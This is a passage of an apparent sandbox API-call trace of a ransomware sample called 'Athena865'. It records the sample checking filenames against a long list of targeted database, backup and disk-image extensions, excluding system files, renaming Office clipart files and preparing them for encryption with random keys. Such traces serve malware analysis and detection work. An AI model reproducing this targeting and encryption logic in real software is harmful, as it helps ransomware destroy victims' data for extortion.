(lpString1="GIF", lpString2="ckp") returned 1 [0135.672] lstrlenW (lpString="cma") returned 3 [0135.672] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1 [0135.673] lstrlenW (lpString="cpd") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1 [0135.673] lstrlenW (lpString="dacpac") returned 6 [0135.673] lstrcmpiW (lpString1="0_.GIF", lpString2="dacpac") returned -1 [0135.673] lstrlenW (lpString="dad") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1 [0135.673] lstrlenW (lpString="dadiagrams") returned 10 [0135.673] lstrcmpiW (lpString1="01740_.GIF", lpString2="dadiagrams") returned -1 [0135.673] lstrlenW (lpString="daschema") returned 8 [0135.673] lstrcmpiW (lpString1="740_.GIF", lpString2="daschema") returned -1 [0135.673] lstrlenW (lpString="db-journal") returned 10 [0135.673] lstrcmpiW (lpString1="01740_.GIF", lpString2="db-journal") returned -1 [0135.673] lstrlenW (lpString="db-shm") returned 6 [0135.673] lstrcmpiW (lpString1="0_.GIF", lpString2="db-shm") returned -1 [0135.673] lstrlenW (lpString="db-wal") returned 6 [0135.673] lstrcmpiW (lpString1="0_.GIF", lpString2="db-wal") returned -1 [0135.673] lstrlenW (lpString="dbc") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1 [0135.673] lstrlenW (lpString="dbs") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1 [0135.673] lstrlenW (lpString="dbt") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1 [0135.673] lstrlenW (lpString="dbv") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1 [0135.673] lstrlenW (lpString="dbx") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1 [0135.673] lstrlenW (lpString="dcb") returned 3 [0135.673] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1 [0135.673] lstrlenW (lpString="dct") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1 [0135.674] lstrlenW (lpString="dcx") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dcx") returned 1 [0135.674] lstrlenW (lpString="ddl") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="ddl") returned 1 [0135.674] lstrlenW (lpString="dlis") returned 4 [0135.674] lstrcmpiW (lpString1=".GIF", lpString2="dlis") returned -1 [0135.674] lstrlenW (lpString="dp1") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dp1") returned 1 [0135.674] lstrlenW (lpString="dqy") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dqy") returned 1 [0135.674] lstrlenW (lpString="dsk") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dsk") returned 1 [0135.674] lstrlenW (lpString="dsn") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dsn") returned 1 [0135.674] lstrlenW (lpString="dtsx") returned 4 [0135.674] lstrcmpiW (lpString1=".GIF", lpString2="dtsx") returned -1 [0135.674] lstrlenW (lpString="dxl") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="dxl") returned 1 [0135.674] lstrlenW (lpString="eco") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="eco") returned 1 [0135.674] lstrlenW (lpString="ecx") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="ecx") returned 1 [0135.674] lstrlenW (lpString="edb") returned 3 [0135.674] lstrcmpiW (lpString1="GIF", lpString2="edb") returned 1 [0135.674] lstrlenW (lpString="epim") returned 4 [0135.674] lstrcmpiW (lpString1=".GIF", lpString2="epim") returned -1 [0135.674] lstrlenW (lpString="fcd") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fcd") returned 1 [0135.675] lstrlenW (lpString="fdb") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fdb") returned 1 [0135.675] lstrlenW (lpString="fic") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fic") returned 1 [0135.675] lstrlenW (lpString="flexolibrary") returned 12 [0135.675] lstrlenW (lpString="fm5") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fm5") returned 1 [0135.675] lstrlenW (lpString="fmp") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fmp") returned 1 [0135.675] lstrlenW (lpString="fmp12") returned 5 [0135.675] lstrcmpiW (lpString1="_.GIF", lpString2="fmp12") returned -1 [0135.675] lstrlenW (lpString="fmpsl") returned 5 [0135.675] lstrcmpiW (lpString1="_.GIF", lpString2="fmpsl") returned -1 [0135.675] lstrlenW (lpString="fol") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fol") returned 1 [0135.675] lstrlenW (lpString="fp3") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fp3") returned 1 [0135.675] lstrlenW (lpString="fp4") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fp4") returned 1 [0135.675] lstrlenW (lpString="fp5") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fp5") returned 1 [0135.675] lstrlenW (lpString="fp7") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fp7") returned 1 [0135.675] lstrlenW (lpString="fpt") returned 3 [0135.675] lstrcmpiW (lpString1="GIF", lpString2="fpt") returned 1 [0135.676] lstrlenW (lpString="frm") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="frm") returned 1 [0135.676] lstrlenW (lpString="gdb") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.676] lstrlenW (lpString="gdb") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="gdb") returned 1 [0135.676] lstrlenW (lpString="grdb") returned 4 [0135.676] lstrcmpiW (lpString1=".GIF", lpString2="grdb") returned -1 [0135.676] lstrlenW (lpString="gwi") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="gwi") returned -1 [0135.676] lstrlenW (lpString="hdb") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="hdb") returned -1 [0135.676] lstrlenW (lpString="his") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="his") returned -1 [0135.676] lstrlenW (lpString="ib") returned 2 [0135.676] lstrcmpiW (lpString1="IF", lpString2="ib") returned 1 [0135.676] lstrlenW (lpString="idb") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="idb") returned -1 [0135.676] lstrlenW (lpString="ihx") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="ihx") returned -1 [0135.676] lstrlenW (lpString="itdb") returned 4 [0135.676] lstrcmpiW (lpString1=".GIF", lpString2="itdb") returned -1 [0135.676] lstrlenW (lpString="itw") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="itw") returned -1 [0135.676] lstrlenW (lpString="jet") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="jet") returned -1 [0135.676] lstrlenW (lpString="jtx") returned 3 [0135.676] lstrcmpiW (lpString1="GIF", lpString2="jtx") returned -1 [0135.677] lstrlenW (lpString="kdb") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="kdb") returned -1 [0135.677] lstrlenW (lpString="kexi") returned 4 [0135.677] lstrcmpiW (lpString1=".GIF", lpString2="kexi") returned -1 [0135.677] lstrlenW (lpString="kexic") returned 5 [0135.677] lstrcmpiW (lpString1="_.GIF", lpString2="kexic") returned -1 [0135.677] lstrlenW (lpString="kexis") returned 5 [0135.677] lstrcmpiW (lpString1="_.GIF", lpString2="kexis") returned -1 [0135.677] lstrlenW (lpString="lgc") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="lgc") returned -1 [0135.677] lstrlenW (lpString="lwx") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="lwx") returned -1 [0135.677] lstrlenW (lpString="maf") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="maf") returned -1 [0135.677] lstrlenW (lpString="maq") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="maq") returned -1 [0135.677] lstrlenW (lpString="mar") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="mar") returned -1 [0135.677] lstrlenW (lpString="marshal") returned 7 [0135.677] lstrcmpiW (lpString1="40_.GIF", lpString2="marshal") returned -1 [0135.677] lstrlenW (lpString="mas") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="mas") returned -1 [0135.677] lstrlenW (lpString="mav") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="mav") returned -1 [0135.677] lstrlenW (lpString="maw") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="maw") returned -1 [0135.677] lstrlenW (lpString="mdbhtml") returned 7 [0135.677] lstrcmpiW (lpString1="40_.GIF", lpString2="mdbhtml") returned -1 [0135.677] lstrlenW (lpString="mdn") returned 3 [0135.677] lstrcmpiW (lpString1="GIF", lpString2="mdn") returned -1 [0135.678] lstrlenW (lpString="mdt") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mdt") returned -1 [0135.678] lstrlenW (lpString="mfd") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mfd") returned -1 [0135.678] lstrlenW (lpString="mpd") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mpd") returned -1 [0135.678] lstrlenW (lpString="mrg") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mrg") returned -1 [0135.678] lstrlenW (lpString="mud") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mud") returned -1 [0135.678] lstrlenW (lpString="mwb") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="mwb") returned -1 [0135.678] lstrlenW (lpString="myd") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="myd") returned -1 [0135.678] lstrlenW (lpString="ndf") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="ndf") returned -1 [0135.678] lstrlenW (lpString="nnt") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="nnt") returned -1 [0135.678] lstrlenW (lpString="nrmlib") returned 6 [0135.678] lstrcmpiW (lpString1="0_.GIF", lpString2="nrmlib") returned -1 [0135.678] lstrlenW (lpString="ns2") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="ns2") returned -1 [0135.678] lstrlenW (lpString="ns3") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="ns3") returned -1 [0135.678] lstrlenW (lpString="ns4") returned 3 [0135.678] lstrcmpiW (lpString1="GIF", lpString2="ns4") returned -1 [0135.678] lstrlenW (lpString="nsf") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="nsf") returned -1 [0135.679] lstrlenW (lpString="nv") returned 2 [0135.679] lstrcmpiW (lpString1="IF", lpString2="nv") returned -1 [0135.679] lstrlenW (lpString="nv2") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="nv2") returned -1 [0135.679] lstrlenW (lpString="nwdb") returned 4 [0135.679] lstrcmpiW (lpString1=".GIF", lpString2="nwdb") returned -1 [0135.679] lstrlenW (lpString="nyf") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="nyf") returned -1 [0135.679] lstrlenW (lpString="odb") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.679] lstrlenW (lpString="odb") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="odb") returned -1 [0135.679] lstrlenW (lpString="oqy") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="oqy") returned -1 [0135.679] lstrlenW (lpString="ora") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="ora") returned -1 [0135.679] lstrlenW (lpString="orx") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="orx") returned -1 [0135.679] lstrlenW (lpString="owc") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="owc") returned -1 [0135.679] lstrlenW (lpString="p96") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="p96") returned -1 [0135.679] lstrlenW (lpString="p97") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="p97") returned -1 [0135.679] lstrlenW (lpString="pan") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="pan") returned -1 [0135.679] lstrlenW (lpString="pdb") returned 3 [0135.679] lstrcmpiW (lpString1="GIF", lpString2="pdb") returned -1 [0135.680] lstrlenW (lpString="pdm") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="pdm") returned -1 [0135.680] lstrlenW (lpString="pnz") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="pnz") returned -1 [0135.680] lstrlenW (lpString="qry") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="qry") returned -1 [0135.680] lstrlenW (lpString="qvd") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="qvd") returned -1 [0135.680] lstrlenW (lpString="rbf") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="rbf") returned -1 [0135.680] lstrlenW (lpString="rctd") returned 4 [0135.680] lstrcmpiW (lpString1=".GIF", lpString2="rctd") returned -1 [0135.680] lstrlenW (lpString="rod") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="rod") returned -1 [0135.680] lstrlenW (lpString="rodx") returned 4 [0135.680] lstrcmpiW (lpString1=".GIF", lpString2="rodx") returned -1 [0135.680] lstrlenW (lpString="rpd") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="rpd") returned -1 [0135.680] lstrlenW (lpString="rsd") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="rsd") returned -1 [0135.680] lstrlenW (lpString="sas7bdat") returned 8 [0135.680] lstrcmpiW (lpString1="740_.GIF", lpString2="sas7bdat") returned -1 [0135.680] lstrlenW (lpString="sbf") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="sbf") returned -1 [0135.680] lstrlenW (lpString="scx") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="scx") returned -1 [0135.680] lstrlenW (lpString="sdb") returned 3 [0135.680] lstrcmpiW (lpString1="GIF", lpString2="sdb") returned -1 [0135.681] lstrlenW (lpString="sdc") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1 [0135.681] lstrlenW (lpString="sdf") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1 [0135.681] lstrlenW (lpString="sis") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1 [0135.681] lstrlenW (lpString="spq") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1 [0135.681] lstrlenW (lpString="te") returned 2 [0135.681] lstrcmpiW (lpString1="IF", lpString2="te") returned -1 [0135.681] lstrlenW (lpString="teacher") returned 7 [0135.681] lstrcmpiW (lpString1="40_.GIF", lpString2="teacher") returned -1 [0135.681] lstrlenW (lpString="tmd") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1 [0135.681] lstrlenW (lpString="tps") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1 [0135.681] lstrlenW (lpString="trc") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.681] lstrlenW (lpString="trc") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1 [0135.681] lstrlenW (lpString="trm") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1 [0135.681] lstrlenW (lpString="udb") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1 [0135.681] lstrlenW (lpString="udl") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1 [0135.681] lstrlenW (lpString="usr") returned 3 [0135.681] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1 [0135.682] lstrlenW (lpString="v12") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1 [0135.682] lstrlenW (lpString="vis") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1 [0135.682] lstrlenW (lpString="vpd") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1 [0135.682] lstrlenW (lpString="vvv") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1 [0135.682] lstrlenW (lpString="wdb") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1 [0135.682] lstrlenW (lpString="wmdb") returned 4 [0135.682] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1 [0135.682] lstrlenW (lpString="wrk") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1 [0135.682] lstrlenW (lpString="xdb") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1 [0135.682] lstrlenW (lpString="xld") returned 3 [0135.682] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1 [0135.682] lstrlenW (lpString="xmlff") returned 5 [0135.682] lstrcmpiW (lpString1="_.GIF", lpString2="xmlff") returned -1 [0135.682] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.Athena865") returned 73 [0135.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.athena865"), dwFlags=0x1) returned 1 [0135.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01740_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01740_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.684] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=707) returned 1 [0135.684] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0135.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0135.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0135.685] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0135.685] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0135.686] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.686] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5d0, lpName=0x0) returned 0x154 [0135.688] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5d0) returned 0x100000 [0135.694] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0135.695] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0135.695] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0135.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0135.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0135.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0135.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0135.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0135.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0135.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0135.696] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0135.696] CloseHandle (hObject=0x154) returned 1 [0135.696] CloseHandle (hObject=0x17c) returned 1 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0135.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0135.696] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1 [0135.696] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0135.696] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0135.696] lstrcmpiW (lpString1="WB01742_.GIF", lpString2=".") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="..") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="windows") returned -1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="bootmgr") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="temp") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="pagefile.sys") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="boot") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ids.txt") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="ntuser.dat") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="perflogs") returned 1 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2="MSBuild") returned 1 [0135.697] lstrlenW (lpString="WB01742_.GIF") returned 12 [0135.697] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01742_.GIF" | out: lpString1="WB01742_.GIF") returned="WB01742_.GIF" [0135.697] lstrlenW (lpString="WB01742_.GIF") returned 12 [0135.697] lstrlenW (lpString="Athena865") returned 9 [0135.697] lstrcmpiW (lpString1="1742_.GIF", lpString2="Athena865") returned -1 [0135.697] lstrlenW (lpString=".dll") returned 4 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2=".dll") returned 1 [0135.697] lstrlenW (lpString=".lnk") returned 4 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2=".lnk") returned 1 [0135.697] lstrlenW (lpString=".ini") returned 4 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2=".ini") returned 1 [0135.697] lstrlenW (lpString=".sys") returned 4 [0135.697] lstrcmpiW (lpString1="WB01742_.GIF", lpString2=".sys") returned 1 [0135.697] lstrlenW (lpString="WB01742_.GIF") returned 12 [0135.697] lstrlenW (lpString="bak") returned 3 [0135.697] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1 [0135.697] lstrlenW (lpString="ba_") returned 3 [0135.697] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1 [0135.698] lstrlenW (lpString="dbb") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1 [0135.698] lstrlenW (lpString="vmdk") returned 4 [0135.698] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1 [0135.698] lstrlenW (lpString="rar") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1 [0135.698] lstrlenW (lpString="zip") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1 [0135.698] lstrlenW (lpString="tgz") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1 [0135.698] lstrlenW (lpString="vbox") returned 4 [0135.698] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1 [0135.698] lstrlenW (lpString="vdi") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1 [0135.698] lstrlenW (lpString="vhd") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1 [0135.698] lstrlenW (lpString="vhdx") returned 4 [0135.698] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1 [0135.698] lstrlenW (lpString="avhd") returned 4 [0135.698] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1 [0135.698] lstrlenW (lpString="db") returned 2 [0135.698] lstrcmpiW (lpString1="IF", lpString2="db") returned 1 [0135.698] lstrlenW (lpString="db2") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1 [0135.698] lstrlenW (lpString="db3") returned 3 [0135.698] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1 [0135.698] lstrlenW (lpString="dbf") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1 [0135.699] lstrlenW (lpString="mdf") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1 [0135.699] lstrlenW (lpString="mdb") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1 [0135.699] lstrlenW (lpString="sql") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1 [0135.699] lstrlenW (lpString="sqlite") returned 6 [0135.699] lstrcmpiW (lpString1="2_.GIF", lpString2="sqlite") returned -1 [0135.699] lstrlenW (lpString="sqlite3") returned 7 [0135.699] lstrcmpiW (lpString1="42_.GIF", lpString2="sqlite3") returned -1 [0135.699] lstrlenW (lpString="sqlitedb") returned 8 [0135.699] lstrcmpiW (lpString1="742_.GIF", lpString2="sqlitedb") returned -1 [0135.699] lstrlenW (lpString="xml") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1 [0135.699] lstrlenW (lpString="$er") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1 [0135.699] lstrlenW (lpString="4dd") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1 [0135.699] lstrlenW (lpString="4dl") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1 [0135.699] lstrlenW (lpString="^^^") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1 [0135.699] lstrlenW (lpString="abs") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1 [0135.699] lstrlenW (lpString="abx") returned 3 [0135.699] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1 [0135.699] lstrlenW (lpString="accdb") returned 5 [0135.699] lstrcmpiW (lpString1="_.GIF", lpString2="accdb") returned -1 [0135.700] lstrlenW (lpString="accdc") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accdc") returned -1 [0135.700] lstrlenW (lpString="accde") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accde") returned -1 [0135.700] lstrlenW (lpString="accdr") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accdr") returned -1 [0135.700] lstrlenW (lpString="accdt") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accdt") returned -1 [0135.700] lstrlenW (lpString="accdw") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accdw") returned -1 [0135.700] lstrlenW (lpString="accft") returned 5 [0135.700] lstrcmpiW (lpString1="_.GIF", lpString2="accft") returned -1 [0135.700] lstrlenW (lpString="adb") returned 3 [0135.700] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1 [0135.700] lstrlenW (lpString="adb") returned 3 [0135.700] 